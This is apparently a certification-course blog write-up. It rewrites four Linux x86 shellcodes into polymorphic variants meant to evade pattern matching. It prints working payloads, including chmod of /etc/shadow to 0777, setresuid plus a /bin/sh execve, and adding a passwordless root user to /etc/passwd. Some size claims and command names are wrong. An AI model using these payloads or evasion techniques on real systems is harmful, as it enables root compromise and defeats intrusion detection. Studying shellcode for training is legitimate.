ASM Polymorphic shellcode (SLAE x86 Assignment #6)

Introduction

This is assignment #6 of the SLAE x86 Exam objectives.

Objectives

  • Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger than 150% of the existing shellcode
    • Bonus points for making it shorter in length than original

Basic Principles of Polymorphic shellcoding

Building a task plan and prerequisites

Choosing shellcode samples

The first thing is to choose the shellcode samples for the ongoing analysis.

Here’s a list of Linux x86 shellcodes for intel architecture on Shell-Storm:

I’ll be choosing the the following shellcodes (sorted by byte length):

Linux/x86 – exit(1) – 7 bytes by Charles Stevenson

Linux/x86 – chmod(/etc/shadow, 0777) – 33 bytes by sm0k

Linux/x86 – setresuid(0,0,0)-/bin/sh – 35 bytes by sorrow

Linux/x86 – adds a root user no-passwd to /etc/passwd – 83 bytes by Bob [Dtors.net]

Polymorphic version of exit(1)

Shellcode (original)

The original source of this shellcode can be found on shellstorm

/* exit-core.c by Charles Stevenson < core@bokeoa.com >  
 *
 * I made this as a chunk you can paste in to make modular remote
 * exploits.  I use it when I need a process to exit cleanly.
 */
char hellcode[] = /*  _exit(1); linux/x86 by core */
// 7 bytes _exit(1) ... 'cause we're nice >:) by core
"\x31\xc0"              // xor  %eax,%eax
"\x40"                  // inc  %eax
"\x89\xc3"              // mov  %eax,%ebx
"\xcd\x80"              // int  $0x80
;

int main(void)
{
  void (*shell)() = (void *)&hellcode;
  printf("%d byte _exit(1); linux/x86 by core\n",
         strlen(hellcode));
  shell();
  return 0;
}

Creating a polymorphic version

Original instruction set

The original code was provided in AT&T Syntax:

xor %eax,%eax
inc %eax
mov %eax,%ebx
int $0x80

Intel syntax for this shellcode can be found below:

00000000 31C0 xor eax,eax ; zero out eax
00000002 40   inc eax     ; inc eax (1 for exit call)
00000003 89C3 mov ebx,eax ; eax into ebx -> pass 1 to exit 
00000005 CD80 int 0x80    ; syscall exit(1)

Modified (polymorphic) assembly

global _start

section .text

_start:
       cdq
        xor eax, eax    ; zero out eax
        inc edx         ; inc eax (1 for exit call)
        mov ebx, edx    ; eax into ebx -> pass 1 to exit 
        add eax, ebx    ; 1 in eax for exit syscall
        int 0x80        ; syscall exit(1)

To compile and run .nasm file:

$ nasm -f elf exit.nasm
$ ld -m elf_i386 -o exit exit.o
$ ./exit

Objdump:

$ objdump -d -M intel ./exit
polymoprhic shellcode of exit(1)

Get shellcode size

$ objdump -d ./exit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | tr -d '"' | grep -o "\x" | wc -l
10

The polymorphic shellcode is 130% larger than the original.

gdb:

$ gdb -q ./exit
gdb -q ./exit – intel disassembly

Polymorphic version of chmod(“/etc/shadow”, 0777)

Shellcode (original)

The original source of this shellcode can be found on shell-storm

Creating a polymorphic version

Original instruction set

The original code was provided in AT&T Syntax:

xor %eax,%eax
push %eax
mov $0xf,%al
push $0x776f6461
push $0x68732f63
push $0x74652f2f
mov %esp,%ebx
xor %ecx,%ecx
mov $0x1ff,%cx
int $0x80
inc %eax
int $0x80

Intel syntax for this shellcode can be found below:

echo -ne "\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80" > chmod

$ ndisasm -u chmod | cut -d ' ' -f2-
 31C0              xor eax,eax
 50                push eax
 B00F              mov al,0xf
 6861646F77        push dword 0x776f6461
 68632F7368        push dword 0x68732f63
 682F2F6574        push dword 0x74652f2f
 89E3              mov ebx,esp
 31C9              xor ecx,ecx
 66B9FF01          mov cx,0x1ff
 CD80              int 0x80
 40                inc eax
 CD80              int 0x80

$ ndisasm -u chmod | cut -d ' ' -f2- | cut -d ' ' -f4- | sed -e 's/^[[:space:]]*//'

xor eax,eax
push eax
mov al,0xf
push dword 0x776f6461
push dword 0x68732f63
push dword 0x74652f2f
mov ebx,esp
xor ecx,ecx
mov cx,0x1ff
int 0x80
inc eax
int 0x80

Shellcode size:

echo "\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80" | grep -o '\x' | wc -l
33

Modified (polymorphic) assembly

global _start

section .text

_start:
        xor eax,eax
        push eax
        ; mov al,0xf
        push 0xf ; substitute for mov al, 0xf
        pop eax ; substitute for mov al, 0xf
        push dword 0x776f6461
        push dword 0x68732f63
        push dword 0x74652f2f
        mov ebx, esp
        xor ecx, ecx
        mov cx,0x1ff
        int 0x80
        inc eax
        int 0x80 

To compile and run .nasm file:

$ nasm -f elf chmod.nasm
$ ld -m elf_i386 -o chmod chmod.o
$ ./chmod

Objdump:

$ objdump -d -M intel ./chmod
polymoprhic shellcode of chmod(1)

Get shellcode size

$ objdump -d ./chmod|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | tr -d '"' | grep -o "\x" | wc -l
34

gdb:

$ gdb -q ./chmod
gdb -q ./chmod – intel disassembly

The polymorphic shellcode is 1 byte or 3% larger than the original.

Polymorphic version of setresuid(0,0,0) – /bin/sh

Shellcode (original)

The original source of this shellcode can be found on shell-storm

Creating a polymorphic version

Original instruction set

The original code was provided in AT&T Syntax:

;setresuid(0,0,0)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq
mov BYTE al, 0xa4
int 0x80

;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
push BYTE 11
pop eax
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80

Intel syntax for this shellcode can be found below:

 8049000:       31 c0                   xor    eax,eax
 8049002:       31 db                   xor    ebx,ebx
 8049004:       31 c9                   xor    ecx,ecx
 8049006:       99                      cdq    
 8049007:       b0 a4                   mov    al,0xa4
 8049009:       cd 80                   int    0x80
 804900b:       6a 0b                   push   0xb
 804900d:       58                      pop    eax
 804900e:       51                      push   ecx
 804900f:       68 2f 2f 73 68          push   0x68732f2f
 8049014:       68 2f 62 69 6e          push   0x6e69622f
 8049019:       89 e3                   mov    ebx,esp
 804901b:       51                      push   ecx
 804901c:       89 e2                   mov    edx,esp
 804901e:       53                      push   ebx
 804901f:       89 e1                   mov    ecx,esp
 8049021:       cd 80                   int    0x80

Shellcode size:

echo "\x80\xcd\xe1\x89\x53\xe2\x89\x51\xe3\x89\x6e\x69\x62\x2f\x68\x68\x73\x2f\x2f\x68\x51\x58\x0b\x6a\x80\xcd\xa4\xb0\x99\xc9\x31\xdb\x31\xc0\x31" | grep -o '\x' | wc -l
35

Modified (polymorphic) assembly

global _start

section .text

_start:
         xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        ; cdq
        xor edx, edx
        mov BYTE al, 0xa4
        int 0x80

        ;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
        ; push BYTE 11
        ; pop eax
        mov eax, 0xb
        push ecx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push ecx
        mov edx, esp
        push ebx
        mov ecx, esp
        int 0x80

To compile and run .nasm file:

$ nasm -f elf setresuid.nasm
$ ld -m elf_i386 -o setresuid setresuid.o
$ ./chmod

Objdump:

$ objdump -d -M intel ./setresuid
polymorphic version of setresuid, execve(“/bin/bash”)

Get shellcode size

$ objdump -d ./setresuid|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | tr -d '"' | grep -o "\x" | wc -l
38

gdb:

$ gdb -q ./setresuid
gdb -q ./setresuid – intel disassembly

The polymorphic shellcode is 3 byte or 8% larger than the original.

— 4TH — (SEPARATOR)

Polymorphic version of shellcode adding a root no-passwd user to /etc/passwd

Shellcode (original)

The original source of this shellcode can be found on shell-storm

/* Linux x86 shellcode, to open() write() close() and */
/* exit(), adds a root user no-passwd to /etc/passwd */
/* By bob from dtors.net */

#include <stdio.h>

char shellcode[]=
		"\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77"
		"\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74"
		"\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89"
		"\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68"
		"\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a"
		"\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2"
		"\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80"
		"\x31\xc0\xb0\x01\xcd\x80";

int
main()
{
        void (*dsr) ();
        (long) dsr = &shellcode;
        printf("Size: %d bytes.\n", sizeof(shellcode)); 
        dsr();
}

Creating a polymorphic version

Original instruction set

The original disassembly code was recovered using objdump / ndisasm:

$ cat shell | tr -d '"' | tr -d "\n" | sed 's/[[:space:]]//g' | xclip -selection clipboard
cat > addroot                                                                                                                        
\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89\xc3\x31\xc0\x31\xd2\x68
\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31
\xc0\xb0\x01\xcd\x80

CTRL +D

$ echo -ne "\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\x01\x04\xb0\x05\xc
d\x80\x89\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2\x14\xb0\x04\xc
d\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\xcd\x80" > addrootuser
$ ndisasm -u addrootuser

Intel syntax for this shellcode can be found below:

$ ndisasm -u addrootuser | cut -d ' ' -f5- | sed 's/  //g'

xor eax,eax
xor ebx,ebx
xor ecx,ecx
push ebx
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
mov ebx,esp
mov cx,0x401
mov al,0x5
int 0x80
mov ebx,eax
xor eax,eax
xor edx,edx
push dword 0x68732f6e
push dword 0x69622f2f
push dword 0x3a2f3a3a
push dword 0x303a303a
push dword 0x3a626f62
mov ecx,esp
mov dl,0x14
mov al,0x4
int 0x80
xor eax,eax
mov al,0x6
int 0x80
xor eax,eax
mov al,0x1
int 0x80

Shellcode size:

echo "\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\x01\x04\xb0\x05\xc
d\x80\x89\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2\x14\xb0\x04\xc
d\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\xcd\x80" | grep -o '\x' | wc -l
83

Modified (polymorphic) assembly

global _start

section .text

_start:
        xor eax,eax
        xor ebx,ebx
        xor ecx,ecx

        push ebx
        ; push dword 0x64777373 ; sswd
        ; push dword 0x61702f63 ; c/pa
        ; push dword 0x74652f2f ; te//

        ; new set: 6374652f, 61702f2f, 64777373
        push dword 0x64777373 ; sswd
        push dword 0x61702f2f ; //pa
        push dword 0x6374652f ; /etc

        mov ebx,esp
        mov cx,0x401
        mov al,0x5
        int 0x80

        mov ebx,eax
        xor eax,eax
        ; push dword 0x68732f6e ; n/sh
        ; push dword 0x69622f2f ; ib//
        ; push dword 0x3a2f3a3a ; :/::
        ; push dword 0x303a303a ; 0:0:
        ; push dword 0x3a626f62 ; :bob

        push dword 0x68732f2f ; //sh
        push dword 0x6e69622f ; nib/
        push dword 0x3a2f3a3a ; :/::
        push dword 0x303a303a ; 0:0:
        push dword 0x3a737373 ; :sss

        ; mov ecx,esp
        ; ? pop ecx
        lea ecx, [esp]
        mov dl,0x14
        mov al,0x4
        int 0x80

        xor eax,eax
        mov al,0x6
        int 0x80

        ; this is the exit call
        xor eax,eax
        ; mov al,0x1
        inc eax
        int 0x80

To compile and run .nasm file:

$ nasm -f elf addroot.nasm
$ ld -m elf_i386 -o addroot addroot.o
$ ./chmod

Objdump:

$ objdump -d -M intel ./addroot
polymorphic shellcode version – adding user to /etc/passwd

Get shellcode size

$ objdump -d ./addroot|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | tr -d '"' | grep -o "\x" | wc -l
83

gdb:

$ gdb -q ./addroot
(gdb) disas _start
gdb -q ./addroot – intel disassembly

The polymorphic shellcode is 83 bytes or exactly equal (100%) size to the original.

And here’s the added passwd user (remember gdb has to be run with root privileges, i.e. sudo gdb -q ./addroot):

Add user to /etc/passwd shellcode – proof of added user

A total of 4 shellcodes were altered to a slightly polymorphic version to their originals. This completes the objective requirements for Assignment #6.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-346690